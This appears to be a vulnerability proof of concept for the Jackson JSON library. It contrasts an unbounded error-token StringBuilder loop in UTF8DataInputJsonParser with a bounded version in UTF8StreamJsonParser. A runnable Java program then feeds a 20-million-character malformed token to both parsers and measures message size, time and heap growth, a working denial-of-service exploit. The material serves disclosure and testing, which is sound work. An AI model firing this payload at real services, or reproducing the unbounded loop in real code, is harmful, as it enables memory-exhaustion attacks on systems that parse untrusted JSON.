protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
    StringBuilder sb = new StringBuilder(matchedPart);
    while (true) {
        char c = (char) _decodeCharForError(ch);
        if (!Character.isJavaIdentifierPart(c)) {
            break;
        }
        sb.append(c);
        ch = _inputData.readUnsignedByte();
    }
    _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}

// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
    sb.append("...");
    break;
}

import com.fasterxml.jackson.core.*;

import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;

public class PoC6_UnboundedErrorTokenStringBuilder {

    static class RepeatingByteInputStream extends InputStream {
        private final int b;
        private long remaining;
        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
        @Override public int read() {
            if (remaining <= 0) return -1;
            remaining--;
            return b;
        }
    }

    public static void main(String[] args) throws Exception {
        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;

        System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
                + " Java-identifier characters ('x'), then a terminating space, never completing"
                + " \"true\"/\"false\"/\"null\"/NaN.\n");

        System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            DataInputStream dataIn = new DataInputStream(raw);
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser((java.io.DataInput) dataIn);

            long heapBefore = usedHeap();
            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            long heapAfter = usedHeap();

            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
            System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
                    + "-character payload (unbounded)? " + (msgLen > 1_000_000));
        }

        System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser(raw);

            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
        }
    }

    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
    }

    static long usedHeap() {
        Runtime rt = Runtime.getRuntime();
        System.gc();
        return rt.totalMemory() - rt.freeMemory();
    }
}